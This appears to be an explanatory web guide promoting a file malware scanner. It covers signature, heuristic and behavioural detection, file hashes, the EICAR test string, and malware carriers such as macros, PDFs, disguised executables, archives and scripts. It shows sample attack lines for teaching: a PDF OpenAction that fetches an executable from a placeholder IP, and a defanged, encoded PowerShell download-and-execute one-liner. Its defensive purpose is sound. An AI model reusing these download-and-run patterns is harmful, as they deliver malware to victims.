A file scanner detects malware in three layers: it matches the file against signatures of known malicious code, it parses the file's structure for constructs that legitimate files rarely contain, such as macros, embedded executables and PDF JavaScript, and it examines scripts and programs for behaviour no honest file needs. Most malware hides in documents and archives, and the disguises are learnable.
Three layers of detection
The word antivirus suggests a single test, and for the first decade it nearly was: a list of byte patterns from known samples, compared against every file. That layer still exists and still does the most work, but it is now one of three, because each catches what the others miss.
| Layer | How it decides | Catches | Misses | False positives |
|---|---|---|---|---|
| Signature | Hash or byte-pattern match against a database of known malware | Anything seen before, exactly or in a known family | New samples; repacked or slightly modified variants | Very rare |
| Structural / heuristic | Parses the file as its format and flags suspicious constructs | Macros, embedded files, launch actions, disguised types, obfuscation, archive bombs | Malware in a clean-looking container with the payload elsewhere | Occasional: legitimate macros, encrypted archives |
| Behavioural | Emulates or inspects what the code would do: download, execute, persist, disable protection | New malware that acts like malware | Payloads that wait, check for a sandbox, or need a real target | Some: installers and admin scripts do similar things |
The guide to how antivirus scanning works follows a file through all three layers and adds the fourth that commercial products rely on heavily: reputation, meaning whether this exact file, or the site it came from, has been seen by many other users. The signature versus heuristic versus behavioural guide compares the three on their false-positive profiles and explains why a scanner that only has signatures is fine for a mail gateway handling millions of messages, where a false positive is expensive, but inadequate for the one file on your desk, where a miss is expensive.
The File Malware Scanner runs all three layers on an uploaded file up to 64 MB, in memory, and does not store it. A signature match is the strongest possible finding and rated critical; the structural findings described below are rated by how rarely a legitimate file has the construct; the hash reputation result tells you whether the exact file has been seen before, in either direction.
Hashes: the file's fingerprint
A cryptographic hash turns any file into a fixed-length value that changes completely if a single byte changes. That property makes it the universal identifier for files: a scanner's signature database is largely hashes, threat-intelligence feeds exchange hashes, and a publisher who prints the SHA-256 of a download lets you verify you got exactly what they shipped. Checking is one command on every platform:
# Linux
sha256sum installer.dmg
# macOS
shasum -a 256 installer.dmg
# Windows PowerShell
Get-FileHash installer.dmg -Algorithm SHA256
# Windows cmd
certutil -hashfile installer.dmg SHA256MD5 and SHA-1 appear in older documentation and in many threat feeds because they are still unique enough to identify a known sample, but both have practical collision attacks, MD5 since 2004 and SHA-1 since the SHAttered work in 2017, so neither should be used to prove a file is what it claims. The file hashes guide explains the algorithms, what a collision does and does not let an attacker do, and how to use a hash both to verify a download and to look up whether a file is already known bad, which is the cheapest scan there is.
Proving the scanner works
Before trusting any scanner, confirm it runs. EICAR is a 68-byte text file that every antivirus vendor agreed to detect as if it were malware, so that people can test their protection without handling anything dangerous:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*Save that line as eicar.com and a working on-access scanner will quarantine it before you finish typing the name; upload it and the EICAR test signature finding confirms the signature layer is live. The EICAR guide explains what a detection should look like, the variants inside archives that test recursion, and the limit of the exercise: it proves the engine runs and reads the file, not that it would catch anything real.
The file types that carry malware
Attackers do not send files named virus.exe. They send what the victim expects to receive, an invoice, a shipping notice, a shared document, and put the harm inside a format that can carry it. Five families cover most cases.
Office documents with macros
A Word or Excel file can contain a VBA project, and a macro runs with your full user privileges: it can write files, start programs and download anything. The classic dropper is a document that displays a blurred page and a banner reading "Enable Content to view", and the click launches PowerShell. Microsoft changed the default in 2022 so that macros in files carrying the internet Mark of the Web are blocked outright rather than offered, which pushed attackers to newer tricks: documents that load a remote template that carries the macro, OneNote files with embedded scripts, and container formats that strip the mark. The macro check and the external template check parse the document's internal structure directly and do not depend on the file's extension being honest. The Office macro malware guide explains how droppers work, the post-2022 techniques and how to inspect a document's parts yourself with nothing more than an unzip tool.
PDFs
A PDF is a tree of objects, and some object types are active. A /JavaScript action runs script inside the reader; an /OpenAction triggers something when the document opens; a /Launch action tries to start an external program; an /EmbeddedFile can carry any payload for the reader to extract. A malicious PDF typically combines an open action with an embedded file or a script that exploits the reader itself:
4 0 obj
<< /Type /Catalog /Pages 2 0 R
/OpenAction << /S /JavaScript /JS (app.launchURL\("http://198.51.100.7/p.exe", true\)) >> >>
endobjThe PDF JavaScript, launch action and embedded file checks walk the object tree, including compressed object streams where these keys are usually hidden. Legitimate PDFs occasionally contain JavaScript for form validation, so the finding is a reason to look, not automatically a verdict. The malicious PDF guide explains the structures, the reader exploits that need no script at all, and the safe ways to open an untrusted PDF: a browser's built-in viewer, which has no launch capability, or a converter that flattens the file to images.
Disguised executables
Operating systems help attackers here. Windows hides known extensions by default, so invoice.pdf.exe displays as invoice.pdf, and a program can carry any icon it likes, including the PDF icon. A screensaver (.scr) is an executable. A Windows shortcut (.lnk) can point at powershell.exe with a hundred characters of arguments the user never sees. An HTML attachment can assemble an executable in the browser from an embedded blob and trigger a download that never crossed the mail gateway as a file, a technique called HTML smuggling. The double extension, extension mismatch, shortcut and HTML smuggling checks catch each of these by reading the file's actual bytes rather than its name; a file whose first two bytes are MZ is a Windows program regardless of what it is called. The disguised files guide catalogues the disguises and the two settings that defeat most of them: showing extensions, and treating any shortcut or executable received by email as hostile.
Archives
An archive hides its contents from casual inspection, from mail filters that only look at the outer file and, if it is password-protected, from any scanner at all; the password is helpfully included in the email. Archives can also be weaponised against the scanner itself. A decompression bomb is a small file that expands to terabytes, and a deeply nested archive forces a naive scanner to recurse until it runs out of memory. The bomb, nesting, encrypted archive and executable inside archive checks handle this by enforcing limits on expansion ratio, total size and depth, in the same way ClamAV's MaxScanSize, MaxFiles and MaxRecursion settings do. The archives and zip bombs guide explains the formats, the limits a safe scanner enforces and why an encrypted archive from an unexpected sender should be judged by that fact alone.
Scripts
PowerShell, JScript, VBScript, batch and shell scripts are plain text, which makes them easy to read and easy to obfuscate. Malicious scripts almost always show two tells: encoding that exists to hide the real commands, and a download-and-execute pattern at the end of it. A representative one-liner, defanged:
powershell -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8A...Decoded, that is IEX (New-Object Net.WebClient).DownloadString('http://...'): fetch code from the internet and run it, with the window hidden and execution policy disabled. The obfuscation and dangerous commands checks decode common encodings and look for exactly those patterns. The embedded executable check covers the related case of a program hidden inside another file type.
Reading a file scan result
A result is a list of findings, not a single verdict, and the findings are worth reading in a particular order. A signature match or a dangerous-command finding is decisive on its own: the file is malicious and the only remaining question is whether it was opened. Structural findings are evidence to weigh against the source. A macro in a spreadsheet from your own finance team is expected; the same macro in a spreadsheet from an unknown sender that also loads a remote template is a dropper. An abbreviated report for such a file looks like this:
Verdict: MALICIOUS (2 high, 1 medium, 1 info)
HIGH office-macro VBA project present: Module1 with AutoOpen
HIGH office-external-template settings.xml.rels references http://203.0.113.9/t.dotm
MEDIUM extension-mismatch named .docx, container is a legacy OLE2 (.doc) file
INFO file-hash-lookup SHA-256 not previously seenThe informational hash line is the detail that matters most here: a file nobody has seen before, carrying an auto-running macro that pulls a template from a bare IP address, is exactly what the first hours of a new campaign look like. No signature will exist yet, and the structural layer is the one that catches it.
What the words mean
Malware is classified by how it spreads and what it does, and the terms matter because they predict the carrier. A virus attaches to other files and needs a host to run; a worm spreads on its own across a network; a trojan is a program that claims to be something else and is by far the most common delivery today; ransomware encrypts and extorts; spyware and infostealers harvest credentials, cookies and wallet files, and the stealer economy is what most commodity phishing now feeds. The malware types guide defines each with the file types and delivery methods associated with it, which is useful in the other direction too: an unexpected .lnk in an archive is a trojan loader until proven otherwise.
What the signature layer can and cannot do
Every malware scanner worth the name has two halves, and they fail in opposite ways. The signature layer compares a file against a database of samples analysts have already classified. The structural layer takes the file apart and judges what it is built to do. Understanding which half produced a verdict tells you how much to trust it.
A signature database is a list of things already known to be bad, expressed as exact hashes, byte patterns, or small programs that examine a file and decide. The databases are large, updated continuously, and very good at what they cover:
- Known families. Mass-mailed malware is seen millions of times, classified once, and then recognised instantly everywhere.
- Real file types. A signature engine reads magic bytes and container structure, so it sees a renamed executable whatever the extension claims.
- Cheapness. A hash comparison costs nothing, which is why the signature layer runs first and ends most questions before anything expensive starts.
The limits are structural rather than accidental, and no amount of database growth removes them:
- Novelty. A sample first seen this morning has no signature yet. The first hours of a campaign are precisely when a signature scan is least useful and the file is most dangerous.
- Repacking. The same payload wrapped in a new packer is a different sequence of bytes. Attackers repack automatically, in bulk, for exactly this reason.
- Documents that carry no payload. A spreadsheet whose macro downloads the real malware contains nothing malicious to match. It is a courier, and the courier is clean.
This is why a clean signature result is a weaker statement than it feels like. It means this file is not something already catalogued — not this file is safe. The structural layer exists to answer the second question by inspection: an auto-running macro, a PDF that launches a program, an archive that expands a thousandfold, a script obfuscated past readability. None of those needs a prior sample to be recognisable as wrong.
The practical consequence for reading any report, ours or anyone else's: read the structural findings, not just the verdict line. A file with no signature match, one auto-running macro and an external template reference is a more dangerous object than a file with an old signature hit and nothing else. For how the two approaches differ in detail, see signature versus heuristic detection; for how a mature signature engine is actually built and maintained, ClamAV explained walks through the open-source one whose databases most of the industry has looked at.
Judging a file you are unsure about
Scanning is one step in a sequence, and the order matters because each step is cheaper than the next and can end the question early. The "is this file safe" guide gives the full reasoning; this is the procedure:
- Source. Did you ask for this file? A document you requested from a colleague is a different object from one that arrived with "please see attached" from an address you do not recognise, even if both are named
invoice.docx. If the sender is known but the message is out of character, confirm through another channel; compromised mailboxes send to their whole contact list. - Real type. Show extensions. Check whether the icon and the extension agree, whether there is a second extension, and whether a "document" is actually a shortcut, an executable or an HTML file.
- Hash. Compute the SHA-256 and look it up. A file already known as malicious ends the question; a file the publisher lists as the official release largely answers it too.
- Scan. Upload it to the file scanner. Read the structural findings, not just the verdict line: a clean signature result on a document with a macro and an external template is not a clean file.
- Open safely. If you must open it, use the least capable viewer: a browser or an online preview for PDFs and Office files, a virtual machine or a disposable sandbox for anything executable. Never enable content or macros to "see the document properly"; a real document never needs that.
The guide to scanning downloads covers what already happens between clicking a link and opening a file: the browser's Safe Browsing check, the operating system's mark-of-the-web and SmartScreen or Gatekeeper prompts, and the endpoint scanner's on-access hook. Each is worth having and each has a gap; a browser checks the URL and hash against known-bad lists but does not parse the document, and an OS prompt is a warning most people have learned to click through. Adding one explicit scan before opening anything unexpected is a habit that costs seconds.
